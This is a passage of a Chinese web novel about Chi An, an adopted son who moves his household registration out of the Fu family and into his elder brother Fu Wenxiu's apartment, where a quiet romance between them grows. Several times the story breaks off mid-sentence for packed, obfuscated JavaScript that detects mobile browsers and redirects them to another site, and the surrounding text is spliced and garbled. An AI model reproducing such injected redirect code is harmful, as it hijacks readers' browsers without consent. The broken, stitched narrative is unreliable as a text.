别人会怎么说他们?说他们认回了亲儿子,就迫不及待的把养了二十年的孩子赶走,让他成为无依无靠的孤儿!偌大的一个家族,凉薄到连一个年轻孩子都容不下! 他们耗费了心力,苦心经营这么多年的宽厚仁慈的形象就会瞬间崩塌,这让他们以后如何自处,他们傅家会成为社交圈里茶余饭后的谈资和笑话! 池盈眼圈泛红,声音里带着浓重的鼻音:“安安!你,你怎么能……户口在家里好好的,为什么要迁出去?你还是一个孩子,迁出去要怎么办?你让爸爸妈妈的脸往哪儿搁?别人会怎么说我们家?” “你想让所有人都觉得是我们家里容不下你,是我们把你逼走的吗?!” 她越说越激动,声音越发尖锐:“你就这么恨爸爸妈妈吗,嘉木的事我们只是没有提前告诉你,那时候也是怕你突然知道了接受不了啊,俗话说养恩大于生恩,我们不求你回报什么,但你就是这么报答我们的吗?你想让整个家族都因为你蒙羞吗!” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16823966|191087||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “妈,别哭了,池安他可能只是一时冲动,别太激动,注意身体。”傅嘉木软声细语,抽了张纸靠近池盈,放在了她手里。 池盈接过纸巾擦了两下,看向傅闻修:“闻修,你劝劝你弟弟,他听你的话,怎么能这么不懂事啊。” 所有的指责铺天盖地的压过来,像一张灰暗而沉重的网,缠着他,捆着他,让他顾全大局,顾全脸面,让他为自己的自私行为和想法而感到愧疚和羞耻,这些斥责无孔不入的包裹着他整个人,池安几乎要喘不过气来。 傅闻修微微皱了皱眉,他早就知道池安这个想法说出来后父母会是什么反应,所以一开始他才会决定由自己开这个口,但既然池安想自己面对,他也就没再坚持。 只是现在这个样子,他偏头看向池安,坐在自己身边的人眼睫向下垂着,面上极力维持着镇定,但他能感觉到,池安的脊背僵硬,情绪明显紧绷的厉害。 傅闻修抬眼,打算说些什么,还没等他开口,似乎是注意到了哥哥的动作,池安挺起身体主动说道:“我没有要跟你们划清界限,一刀两断,也不是因为傅嘉木回来了赌气。” 他心平气和:“爸,妈,我不是傅家的亲生孩子这件事情已经有很多人知道了,傅嘉木回来也是要上户口的,我做的这两个决定都是深思熟虑过的,对所有人都好,也省得留在这里,往后还要一直被人议论。” “而且你们之前也告诉我了,我的亲生父母都不在了,我总得有个地方落户,前二十年是我不知情,以后我不会占着不属于我的位置了。” 池盈被他这一番话说得脸色煞白,嘴唇哆嗦着。傅乔气的摔了筷子,被背叛,被冒犯的感觉让他几乎说不出话:“你,你这个……” “爸,妈。”傅闻修看向对面脸色极其难看的父母,冷静道:“安安已经成年了,他有权决定自己的户口归属,不管是从法律角度和现实角度,他现在的情况独立出去确实更好。” “强行留下反而会让未来的流言蜚语连绵不断,他的处理并没有问题。” 傅乔张了张嘴想要反驳,但从理性方面来看,傅闻修的言辞滴水不漏,确实挑不出什么问题,他只是不甘心。 自己好吃好喝的养育了他二十年,即便是把亲生儿子接回来以后,他自问也没有苛待过他。 而现在池安却主动要离开,甚至要彻底撇清关系,他觉得自己作为父亲的权威受到了极大的挑衅和侮辱。 但在实际掌权的大儿子明显维护他的情况下,自己胸中一团翻江倒海的怒火却又无从发泄! “池安,我再问你最后一遍,你确定想好了?”傅乔死死的盯着池安。 池安毫不犹豫的开口:“我想好了。” “好!好!”傅乔霍然起身,椅子腿撞在了一边的楼梯上,发出刺耳的的摩擦声:“你要迁户口就迁!喜欢当孤儿是吧,没问题,今天就把户口迁走!你以后就没爹没妈了!自由了!” 池安被他最后这句话刺的脸色一白,上一回见到傅乔和池盈这么生气,还是在小学自己贪玩跑丢了那一回,还害的哥哥被傅乔扇了一巴掌,脸肿了一周。 只是从前他们再生气,也从没对自己和哥哥说出过这么狠的话。 他想自嘲笑笑,但只能僵硬的扯了扯嘴角。 “够了。”傅乔抬手指着他,还要继续开口,一个冰冷低沉的声音骤然响起,声音不高,但几乎是瞬间便强势压下了餐厅里所有的斥责和眼泪。 是傅闻修。 他不知何时已经站起身,身形挺拔高大,挡在池安身侧的位置。镜片后的目光带着愠怒,直直盯向还打算继续口不择言的傅乔的脸,周身散发出的低气压让整个餐厅瞬间安静了下来。 “注意你的言辞。”傅闻修的声音不高,却字字清晰,带着一种久居上位的压迫感和隐隐的警告,“作为一位年长者,说话之前三思,想必不需要我教你。” 他停顿了一下,目光扫过脸色同样难看的池盈,最终落回傅乔身上:“安安的决定已经提前征得了我的同意,他今天来不是和你们商量的。” “是通知。” 8. 第八章 傅闻修的这句话一出,餐厅里最后的动静也消失了。 傅乔半张着嘴,手臂还指着池安的方向没放下来,却被自己的大儿子的一句话堵住了所有的宣泄出口。 被当着全家人的面这么卸面子,他的脸色由红转青,最后转为一种难堪的灰白色。 半晌,他握着拳放下胳膊,狠狠剜了仍坐在椅子上面色还略微发白的池安一眼,只猛的一甩手,怒气冲冲的离开了客厅,留下上楼时跺得不断咚咚咚的脚步声。 池盈的眼泪还挂在脸上,她看了眼面无表情的傅闻修和他身边的池安,最终还是什么也没说,从餐桌上起身,深深的叹了口气,一脸倦色的也往楼上去了。 “这……”傅嘉木的脸上流露出浓重的担忧和局促,他看着傅闻修,小声道:“大哥,你不该对爸爸这样,他只是关心则乱,你说的太伤……” 话刚说到一半,他就在傅闻修居高临下淡淡扫来的一眼中骤然噤了声,傅嘉木垂下眼遮住一闪而过的不甘情绪,起身:“我上去看看妈妈。” 他走后客厅里只剩下两个人,还有一桌依然凉透的残羹剩饭。 今天出了太阳,暖融融的光线穿过餐厅偌大的落地窗照在身上和脸上,池安还是觉得浑身冰凉,仿佛凉进了骨血。 他一直挺直的肩膀慢慢放松了下来,流露出疲惫和茫然,面前的粥在碗里糊成了一团,看得他喉咙发紧,连着鼻腔似乎都酸涩起来。 就在这时,一只骨节分明的手伸了过来,端走了他面前那碗油腻粘稠的冷粥。 池安愣了愣,抬眼。 “凉了就不吃了。”傅闻修眼神中带着安抚,声线是不同于和傅乔说话时的温和,仿佛刚才的一切从未发生过:“上楼去休息会儿,中午我来接你。” “嗯。”池安答应了一声,他微微抬起头看着傅闻修,哥哥脸上没什么别的表情,掩在镜片后的双眸沉静如水。 他沉默几秒,起身时像是确认般问道:“哥,你中午就来对吗?” “嗯,中午就来。”傅闻修回答。 “那你来早点行不行?”池安语气显得有几分焦虑:“来之前先发消息告诉我。” 面前的青年面色苍白,偏偏眉眼乌黑,嘴唇红润,这样可怜巴巴的从下往上望着自己,提出什么请求的时候,让他无端想起来了多年前,那个犯了错就哼哼唧唧趴在自己肩上撒娇的小不点。 傅闻修终于还是伸出手,用指腹轻轻摩挲了一下池安的脸颊:“知道了。” 池安像是才放心了似的的点点头,他站起来:“那你去吧,早点回来。” 他顿了顿,补充:“接我。” “好。” 回到二楼的客房,关上门,池安爬上自己的小床,拉上被子将自己蒙住,一片黑暗。 世界仿佛就这样被隔绝在外,原本在楼下一直不规律强烈跳动着的心脏慢慢平复了下来,脑海中仿佛还萦绕着傅乔的怒喝和池盈的抽泣,以及哥哥站在身边,为自己挡住一切时的高大背影。 这些凌乱的声音和画面充斥着他的脑袋,交织冲撞,让他觉得脑子里嗡嗡响,响的连太阳穴都在突突乱跳。 房间内的行李箱还摊开着推在一起,但他现在也没力气再收拾什么了,拿出手机胡乱翻了翻,傅嘉木几分钟之前给自己发了微信消息。 “池安,我没有别的意思,但你今天确实有点过分。” “就算真的想走,也不该挑在这个时候,对吗?” “做什么事情和决定之前……至少不能只考虑自己,而且我也没有自己回来了就把你赶走的意思。/微笑” 那种和傅嘉木相处时,每每都能微妙的感受到恶意的感觉又清晰的浮现了出来,池安面无表情的盯着屏幕,回了一个“?”,接着把他拉进了黑名单。 世界清静了。 做完这些,他打开傅闻修的聊天框,给他发了一个小猫揣手手等待的表情包,就放下了手机。 好累,他需要休息。 上午的精神消耗太大,池安闭上眼没一会就迷迷糊糊的睡了过去,但时梦时醒,睡的并不安稳,两个小时的梦境像是过了一次走马灯。 一会儿是小学的时候每天蹦蹦跳跳,穿过连接着小学部和初中部的长长的走廊,等哥哥放学带他回家的自己。 一会儿又是高中,他好奇的问池盈为什么哥哥那么多补习班,自己一个都没有,他也想和哥哥一起出门一起上课。 池盈就伸手去揉他的脑袋,笑盈盈的说,安安不用那么辛苦,只要快乐健康的长大就好。 从小学到大学,那些清晰的,不清晰的画面碎片争先恐后的胡乱浮现,直到他被手机铃声吵醒。 睁眼时已经快到十二点了,睡了一觉感觉身体更累了,池安懒洋洋的拿过手机,是哥哥一分钟之前发来的微信。 F:“引用【小猫揣手手】”事情处理好了,大概二十分钟后到家。 F:“不用收行李,下午有人来搬,缺什么回头再买。” 不安:“/小猫点头” F:“/小猫摇头” 池安看着最后这条消息翘了翘嘴角,他按按发疼的眼眶,起身去浴室快速洗了把脸,又对着镜子整理了一下发型。 刚睡醒,脸上还留着枕头的褶皱,他双手捧着脸,对着镜子用力揉了揉,直到那点痕迹不再明显,脸色也红润了些,才满意地停下。 哥哥说了不用收行李,他就只挑了几个随身物品揣在兜里,眼神淡漠的环顾了一圈这间住了两天的逼仄客房,傅闻修的消息这时发了过来。 F:“门口等你,准备好了就下来。” 池安转身就往外走。 楼下客厅空荡荡的,傅乔和池盈都不在,平常总在客厅晃悠的傅嘉木此时也不见踪影,大概还是在楼上安慰父母。 他走到门口,一推开门就看见了那辆静静停在门口的黑色保时捷。 快步走到副驾旁,池安拉开车门坐了进去,车厢内浅淡的,独属于哥哥身上的木质香水气味将他包裹,心底生出一种久违的轻松感。 傅闻修单手方向盘,侧头看他:“在客房做什么了?精神这么差。” “也没有,就睡了一觉。”池安放松的靠在椅背上,懒懒的说:“睡个觉,结果做了一堆乱七八糟的梦,睡醒了比没睡还累。” “给。”等红灯的间隙,傅闻修从随身的口袋里掏出一个崭新的小本递了过来。 池安下意识接了过来,暗红色的封面,中央的“居民户口簿”五个字在光线下显得金光闪闪的,翻开第一页的户主就是他的名字。 他恍惚生出了些不真实的感觉,小小的一个户口本在他手里翻来覆去的观察了个遍。据他之前在网上的了解,成年后迁出家庭户口虽然很普遍,但手续较为麻烦,要走各种审核流程和资产证明。 但自己什么都没做,是哥哥帮自己妥帖的处理好了一切,他是为这件事忙了一上午,忙完就马不停蹄的赶来接自己了吗。 池安眼眸微动,内心浮起一层细微的欣喜。 “收好了。”傅闻修叮嘱他:“这是属于你一个人的。” “嗯!”池安答应一声,小心翼翼的将它放进贴身的口袋里装好。 做完这些再抬头,车子已经拐进了一条熟悉的空旷大道,他对这里还算有印象,之前来住过那一次哥哥就开车带他经过了这里,距离公寓已经很近了。 车身稳稳停在地下车库,傅闻修的公寓在顶层,是最大的户型,视野也开阔,站在澄澈的落地窗前,能看见远处的大片波光粼粼的宽阔江景。 “房间喜欢什么样就自己布置,行李下午会送来。” 傅闻修带他看了看房间,他这个户型有两个主卧室,一左一右,中间被一个巨大的实木书架隔开,离得并不远,给池安准备的就是左边的这间。 房子已经提前请人打扫过了,卧室宽敞明亮,基础的家具摆放的有序整洁,双人床柔软蓬松,飘窗上还垫着几层厚厚的毯子:“饿不饿?先吃午饭?” “饿了,我早就饿了。”池安回答完,跟他在身后,像个亦步亦趋的小尾巴,眼巴巴的瞧他。 傅闻修被他看得有些好笑,他脱下西装外套顺手搭在沙发背上,卷起衬衫衣袖,顺便解开了领口的两枚纽扣,脖颈延伸至锁骨的线条在衣领下若隐若现,显露出几分在家的轻松随意。 “你跟过来做什么?”傅闻修熟练的从冰箱里挑了几样菜,转身看见池安还盯着自己,他挑眉。 “参观学习啊。”池安回答的倒是理直气壮,他倚在流理台前,看着傅闻修动作利落的洗菜切菜,淘好米放在锅上蒸,冷不防开口问道:“哥,你上午出去是不是专门给我弄户口啊?” 傅闻修蒸完饭,轻描淡写道:“顺路。” “哦。”池安了然的点点脑袋。 他才不信顺路这种话,那么多需要准备的材料和审核手续,怎么可能是顺路就能办妥的,况且他们这个区的政务大厅在郊区,哥哥的公司在市区,路线更是八竿子打不到一块。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“下午公司有个会,我要过去一趟。”傅闻修吃的差不多了,放下筷子:“行李大概两点送到,你签收一下,等我回来整理。” “知道了。”池安咬着排骨点头。 “不要乱跑,要是想出去,出门前给我发消息。” “嗯嗯。” 傅闻修扣好纽扣,拿上外套:“我走了。” “你去忙吧。”池安放下筷子对着他挥挥手:“晚上见哥哥。” “嗯。” 大门从外面被轻轻关上,公寓里瞬间安静了下来。 池安吃完饭很勤快的收完碗筷擦了桌子,在公寓里巡视似的溜达了一圈,随后回到了自己的房间,坐在飘窗上悠闲的玩了会儿手机。 垫着的几层毛毯很软,躺在上面也不会觉得硬冷,他这样晒着太阳玩手机,昏昏欲睡,没一会儿就听见了门铃声。 门口站着两个高高大大,穿着工作制服的壮汉,是送行李的物流公司,池安给他们开了门,让他们全搬进了自己房间门口。 行李箱和箱子里面大多都是一年四季的衣服,还有他的画具和颜料之类的东西,都很沉重。 刚吃完饭晒了太阳正犯着懒呢,他实在提不起整理的兴致,但又不想让哥哥下班回来那么累还要收拾这么多东西,就先搬了两个小箱子打算慢慢整理。 有个箱子里放的都是他的专业书和买的一些论文参考资料,底下还堆着几本高中时候看的龙傲天小说。 池安把它们搬出来,挪到两个卧室中央的书架旁,找了个上面空置的格子,一摞一摞踮着脚往上放。 差不多放满了两格才放完,池安累的不行,腰酸胳膊也疼,他干脆在木地板上坐了下来,背靠着厚重的书架,一边休息,一边歪着脑袋打量傅闻修的藏书。 大多是深奥的金融和互联网科技方面的专业大部头,还有一些外文书籍,他倒是能看的懂书名,都和中文的那些大差不差,看着就觉得困了。 又想到自己刚刚塞的那几本龙傲天,池安莫名感觉到一丝心虚。 就在他正琢磨着要不要把它们再取下来的时候,余光突然瞟见了书架右下角一个端端正正放置的精致纸盒。 包装很素净,看起来应该是某个奢侈品的礼品盒,米白色的外壳,放在书架上不知道多久了,还是很干净,只有盒盖打开处的折痕,因为反复开合而显得颜色略深,像是被主人反复摩挲查看时留下的。 池安有些好奇,不知道是什么书值得哥哥这么小心的珍藏,甚至放在触手可及的地方妥善保养。 他挪到纸盒边,捧起来的时候愣了一下,纸盒很轻,里面不像是放了什么东西的样子。 他犹豫了一下,轻轻掀开了盒盖。 9. 第九章 轻薄的盖子被掀开,想象中什么珍惜的藏书或是重要文件并没有出现,映入眼帘的,是一本页脚微卷,封皮略显陈旧的牛皮纸素描本。 一种熟悉的感觉扑面而来,池安有些迟疑的伸出手,在摸到粗糙的封面时像是想到了什么,又觉得离谱,索性直接把本子取了出来。 他放下盒子,靠在书架上盘腿在地板坐下,捧着本子翻开了第一页。 是一张人物速写,灰黑色的铅笔线条勾勒出的侧脸,现在看来还显得有几分稚嫩。 画面中的人穿着高中时代的校服,侧身坐在书桌前,低着头,正专注的看着什么,光线是从前方打来的,高光落在他的黑发和微垂的眼睫上,神情是少年人少有的专注和沉静。 池安愣住了,这是他高中时期画的傅闻修。 他从小在学习上就属于不怎么努力也能名列前茅的天赋怪,所以即便爸爸妈妈从未给过自己学习压力,在同龄人上各种补习班时只让他一昧的玩,池安还是顺利的考上了最好的初中,然后紧跟着哥哥的步伐上了重点高中。 上了重点高中,差距就显现出来了,原本次次能班级前几的成绩,在高中慢慢落在了中游,甚至隐隐有往下游掉的潜质。 他跟不上周围人的进度,焦虑了一段时间后和父母提出自己想上补习班,但父母以他身体不好怕他太累的理由拒绝了,没几天就为他铺垫了另一条路。 他们说自己从小就有画画的天分,父母在高一为他选择了学艺术的方向,安排了最好的老师,好像一切都为他准备好了,他只要按部就班的按着走就行。 但只有池安自己知道,他每天对着画板一坐就是半天,对着静物素描的教学纸反反复复去临摹,翻阅着速写书一画画一晚上的时候,内心没有分毫的热爱,反而觉得疲惫厌倦,但又觉得放弃对不起父母的良苦用心。 时间久了,他把这样的困惑和不解告诉了傅闻修。 那时候哥哥刚好和自己一样在准备毕业论文,不过比自己强一点,当时虽然还没大学毕业,就已经开始慢慢接手家里公司的管理了。 傅闻修听完他的说完烦恼,只是认真的告诉他:“如果不喜欢,就不要勉强自己继续,高中的课程难度会大一些,以后每周我会回来帮你补习。” 就是从那时候开始,哥哥每周都会雷打不动的抽出一天或者半天的时候回家,给他梳理这一周的课程和知识点,手把手教他改错题,理思路,偶尔实在忙的回不来,就会给他出一两张曾经说过的卷子。 手机就是那时候买的,所以那一回因为贪玩还撒谎,哥哥才会惩罚自己。 池安聪明又学得快,半个学期不到,不仅跟得上进度,成绩也突飞猛进。 整个高中,每个周末和假期的大部分时间几乎都是在哥哥的讲题声中度过的。 而这些画,也都是在那个时候产生的。 画他一页一页的翻着,整整一本,后面几乎都是类似的素描,偶尔穿插着几张随手涂鸦的景物和各种Q版的小动物,但大多数的主角都是傅闻修。 有拿着钢笔低头看书的,站在窗外接电话的,还有自己做题时他靠在一边闭目养神的。 有些画他还能模糊想起当时的心情,很多都没什么印象了,可能只是做题或觉得学习枯燥时的随手涂鸦。 翻到最后一页,他的动作停了下来。 这是一张正面的半身像,和其它的那些速写涂鸦并没什么太大区别,问题是在反面。 已经泛黄的粗糙纸张上用铅笔,大大小小的写满了“傅闻修”三个字,字迹潦草飞扬,还有一些乱七八糟的无意义线条,层层叠叠,杂乱无章,仿佛这支铅笔的主人正在为什么而烦恼。 池安觉得脑子嗡的一声炸开了,他仿佛能通过这些文字,线条,看见当初那个趴在台灯下,心绪杂乱的茫然的自己。 十七岁的池安并不知道那是什么,只觉得在这下这些名字时,他心里跳的很快,像是慌乱,又像是在发泄着什么。 那些欲盖弥彰的线条,在某一处戛然而止,是当时傅闻修处理完了工作从楼上下来,他听见 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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走出公寓大门,下午的阳光伴随着温热的夏风迎面吹来,微微吹散了他心头的燥热和悸动。 池安双手插兜慢悠悠的沿着石板路往外走,这附近很繁华,距离商圈不远,出门不远就是鳞次栉比的高楼,出来是临时决定的,也没什么目的,他瞎逛了一会儿就跟着人流随便进了个大商场。 哥哥家里没什么零食饮料,他买了点自己喜欢的,又仔细选了新的洗漱用品和毛巾之类的东西,路过水果店挑了几样新鲜水果,让店员切好装进盒子里。 再多的就拿不下了,池安提着大包小包往外走,路过二楼奢侈品专柜的时候,无意瞥见了他们展出的当季新品。 是一条男款手链,设计很新颖,银灰色的链身像锁链一般环环相扣,环扣处连接着一个小小的钥匙形状的点缀,风格乍看粗犷冷硬,也不失低调和高级的光泽。 手链在专柜冷白的灯光下流转着冷冽的光泽,池安鬼迷心窍的站在了柜台前。 他虽然手里拎着大包小包,但周身从小被金钱和教养浸润出来的少爷气质却一点儿也没变。 柜姐笑盈盈的走上来:“您好,这是我们的新款,要不要看看?是打算自己戴还是送人?” 池安愣了一下,下意识回答:“呃,送人吧。” 柜姐笑着将手链的深黑色丝绒托盘捧起来给他展示,近距离看,这条手链的细节做的很足,钥匙上还镶着一小块方钻,随着晃动,在莹白的展示灯下流转出璀璨的碎光。 “这一款的设计概念是羁绊与禁锢,您看这里,只有用下面的钥匙吊坠才可以打开和锁上卡扣,寓意是“彼此专属,不可替代”。” 柜姐的声音很温和:“您是送给亲密的朋友吗?” “嗯,差不多……”池安含糊的回应,目光落在面前手链上,想象着它扣在傅闻修腕骨上的样子。 他好像从未见过哥哥的手腕上带过腕表以外的东西。 “送家里人。”像是要说服自己似的,他又补充了一句。 “家里人?”柜姐有些讶异,她思考了一下,真诚建议:“这款寓意特殊,一般是情侣买的比较多,您要是送家里人的话,我可以给您推荐另外己款,偏向简约大气,您看……” “等一下。”柜姐转身准备去取别的款式,闻言转身,就看见漂亮的青年冲她点了点头:“不用看别的了,就这个,帮我包起来,包好看点。” “好的,麻烦您这边付款。” 付完款后池安看了眼小票的金额,8888,数字倒还挺吉利,就是也太便宜了,这种价位朋友之间送送倒是可以,不过既然买了,他也没有过多纠结。 把手链的袋子和放进商场的大购物袋,池安继续提着大包小包的往外走,走到门口就觉得累了。 低头看了一眼火辣辣的手心,又已经被勒出了深红的印子,他甩甩手,果断在路边打了辆车。 不到一公里的路程,司机哭笑不得,好心的给他送到了公寓楼下,池安下了车,站在门口,才生出了点后知后觉的犹豫。 就这么送出去会不会太突兀了。 以什么理由去送呢? 感谢他收留自己?或者帮自己解决了户口?还是仅仅用觉得好看适合你就买了这种说法? 好像都能说得通,又怪怪的。 又想到哥哥腕上那块百达翡丽,总不能把表取下换这根链子吧,万一他收下后只是放在盒子里收藏起来呢。 自己什么时候变得这么矫情了! 池安在心里吐槽了自己一句,烦躁的拧着眉头盯着那只小巧精致的丝绒礼盒,拿出来装进了裤子口袋里。 拎着大包小包进了门,刚进玄关就闻到了一阵浓郁的肉香,混合着被烘烤过的油脂的香气,池安咽了下口水,换上鞋就往客厅跑。 “哥?”把大包小包放下,他站在厨房门探头往里看。 “嗯。” 傅闻修已经换上了宽松的家居服,正背对着他烫生菜,旁边的盘子里放着半只斩好的烧鹅。 鹅肉饱满,漂漂亮亮的码在一起,鲜香的汁水溢满了瓷盘的底部,油光红亮的皮烤的又焦又脆,还散发着烫人的热气:“回来了,买了什么?” 池安又看了两眼烧鹅,老实回答:“就买了点好吃的好喝的,还有牙刷毛巾什么的……好香啊。” “回来的路上看到的,想着你爱吃。”傅闻修关火,洗了洗手。 “想对了。”池安笑嘻嘻的主动跑去帮他端盘子,“哥,还是你懂我。” 傅闻修看他:“脸这么红?很热吗?” “哦,外面是有点晒,我出去没带伞。” 池安摸了下脸颊,确实烫了一点儿,他伸手晃了晃,掌心那几道红痕在厨房明亮的光线下很是显眼:“主要是不小心买了不少东西,拎回来好沉,估计累着了。” 傅闻修的目光在他脸上停留了一会,“车库里还有几辆车,我平常不怎么开,晚点我把钥匙给你。” “嗯,其实我也没走多远,就前面那个大商场。”池安转身往外走,语气轻松:“刚刚就是打车回来的,连起步价都没到。” 晚餐就是傅闻修带回来的半只烧鹅和简单做的蚝油生菜,裹着海苔碎的米粒鲜香弹牙,池安吃的异常满足,吃完饭低头摸了摸自己肚子微微鼓起的弧度,很罕见的生出了些危机感。 傅闻修把碗筷放进洗碗机,出来的时候看见的就是池安绕着客厅反复打转的样子。 “你做什么?”他不解的问。 “消食啊。”池安摸着小腹拐了个弯,很认真道:“吃的太好了,感觉肚子都鼓起来了,”绕过客厅的桌子和沙发,他几步走到傅闻修面前,拍拍:“你看看是不是?” 傅闻修眼神淡淡的瞥了他小腹毫无起伏的平坦弧度一眼,旋即肯定:“是,都鼓起来像小西瓜一样了。”他微微挑眉,语气认真:“要拍拍看熟没熟么?” “……” 池安难得被哥哥的冷幽默噎到了,他无语转身,继续绕着客厅做他的运动。 手机响起几声提示音,打开看,是老师在小组群里催他们快点交论文终稿。 后天是论文答辩,本来周末结束之前就该交上去的,这两天因为家里的事情把这茬忘了。 想到这里,池安也没空消食了,转身就去房间找电脑。 推开卧室门,他才发现房间已经彻底变了样。 他那些胡乱塞在箱子里的衣物,此刻已被分好类,整齐地收纳进了衣柜。 窗户下的书桌上,笔记本电脑和平板也端正地摆着,旁边连着充电线,看了一眼电已经充满了。 池安心里像是被什么柔软的东西撞了一下,温温热热的。 他抱着电脑回到客厅,傅闻修正坐在沙发上拿着平板写着什么,池安四处看了眼,在傅闻修旁的地毯上盘腿坐下,这个高度刚好方便他看电脑。 “哥,我坐这改会儿论文,你忙你的。”池安转过脑袋和傅闻修报备了一声,得到一个点头后就开始认真修改起来。 他现在改的这份已经在前期的几次修改和预答辩上修改的很完美了,现在最重要的就是检查一下格式,还有一些导师交代的需要润色的地方,并不麻烦,只是需要很细致的检查。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16823969|191087||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 傅闻修回完最后一份工作邮件,视线落在坐在自己腿边的人的脸上,池安微微仰着头,一只手时不时敲打着键盘。 陷入思考时,漂亮的眉头会微微蹙起,偶尔咬着下唇,天生红润的唇瓣被咬的泛白,松开后又很快恢复更深的绯色,仿佛沾上了什么浆果的汁水,衬得冷白的皮肤细腻干净。 身后落地灯暖黄/色的光线从后温柔的笼罩着他,几乎能看见他脸颊上的细小绒毛,往上是打理清爽的乌黑短发,往下便是白皙修长的脖颈,微凸的喉结…… 整个人鲜活又生动。 好漂亮。 傅闻修瞳孔漆黑,至上而下的凝视着他。 在池安看不到的身后,他的哥哥,正毫无顾忌的,贪婪放肆的用视线打量着,描摹着他的一切不自知的情态。 改完最后一页的内容,又重新阅读了一遍,确认没问题后池安发给导师,长长舒了一口气,伸着懒腰往身后的沙发上倒去,脑袋后仰着靠在沙发坐垫上:“啊——” “弄完了?”傅闻修垂下眼眸看他。 两人一上一下的对视着,视线倒转,角度有些新奇。池安冲他露出一个笑,眼神亮晶晶的:“刚把终稿交了,后天去学校答辩,周五就是毕业典礼了。” 他停顿了一下:“我们学院今年的优秀学生代表只有我一个,柏以他们还说要给我录下来呢,我说他们有点小题大做了……辅导员还说毕业典礼可以邀请家长和好友来……” 铺垫了这么一长串,他终于把心里最想问的那个问题说出来:“哥,你会来吗?” 他尽量让自己显得随意,眼睛却一眨不眨的看着哥哥。 “我要和助理确认下行程。”傅闻修沉吟了一下,开口:“这周比较忙,我尽量协调。” “哦。”池安抬起脑袋,掩盖掉一丝失落,耸耸肩:“没事,工作的事情还是更重要嘛,毕业典礼其实也挺没意思的,就是领导讲讲话,然后做点仪式拍拍照,也没别的,嗯。” 傅闻修的目光落在他故作轻松的侧脸上,没再接话,而是换了个话题:“毕业了,未来有什么打算吗?” 提到这个问题,池安很快被转移了注意力,他点头,眼神中充斥着应届生特有的,对未来的向往与希冀:“嗯!有!我想自己开一个小型的翻译工作室,正好也和我的专业对口,规模也不用太大。” “哦?之前没听你说起过。”傅闻修放下平板,做出倾听的姿势,示意他继续往下。 “嗯,之前在智鸿实习,学到的是挺多的,但就是太累了,而且专业也不对口,有些东西很吃力,也不是我很感兴趣的。” 池安说着,突然嘀咕了一句:“所以不想在公司坐班,就我这个记性,一个月不知道要被扣多少次下班卡的工资。” 傅闻修听到这里,眼底掠过一丝笑意:“实习期忘记打下班卡被扣了五十,从年初记到现在?” “这只是很小的一个原因啦。” 被戳穿小心思,池安摸了摸鼻尖,恢复正经:“这个想法我也是想了蛮久的,我大学四年专业底子还行,偶尔也接过一些散单,感觉这条路可以发展。” “现在市面上很多小微企业,哪怕是个体经商户,大多都有跨境沟通需求,比较大的翻译公司报价高,流程慢,如果我开个工作室,主攻这一方面,攒起口碑以后稳定接单,未来的前途还是不错的,前期可能只有我一个人,会辛苦一点,稳定了以后就招一两个帮手,自己当老板。” 他说的很认真,语气带着几分憧憬的兴奋,眉眼生动,整个人都散发着一种未经世事的,蓬勃向上的朝气。 11. 第十一章 “想法不错。”傅闻修听完他绘声绘色畅想的未来,目光里闪过一丝欣赏:“不过作为准备实际落地的项目,你刚刚说的这些还比较空泛。” 池安脸上有几分明显的懵懂,他继续道:“你的目标客户群体的具体画像是什么?小微企业和个体经商户具体到哪些行业?初创期你要怎么让客户在众多的选择中看见你,选择你,除了低于市场的报价外,你最大的优势在哪里?如何留住客户长期合作?” 被这一连串的问题问得频频眨眼,池安刚刚那一头热的兴奋劲儿化为了更深层的考量,他摇头,带着点试图蒙混过关的赖皮:“这些太细致了,我还没想过,要不然先开起来再说嘛,真遇到问题了再想办法解决……” 见他一副被吓到的样子,怕会打击到他的积极性,傅闻修的语气明显温柔了许多:“安安,你估算过开一间工作室的运营成本吗?虽然开始只有你一个人,但创业初期什么事情都要亲力亲为,注册的流程,基础的办公耗材以及可能潜在的风险开销,这笔钱你考虑过吗?是准备用自己的钱,还是一家一家的跑公司找人拉投资?” “啊……是不是太夸张了?哥,我又不是要开智鸿那样的大公司。” 池安犹豫了一下,转身贴着傅闻修的腿,仰头和他对视一眼,试图用撒娇解决问题:“开一间工作室也花不了多少钱吧,我卡里还有不少呢,再说了,嗯。” 他说着说着就有点心虚卡顿,自己从来没有攒钱的习惯,花起钱来虽然不算大手大脚,但大学时候一个月不到十万的生活费差不多每个月都能花光,偶尔月底还会在微信上撒娇卖萌问哥哥要点儿小零花。 这些年零零碎碎的只剩了一点,现在和父母闹的那么难看,未来失去了经济来源,按照哥哥说的,能撑多久还真的不好说。 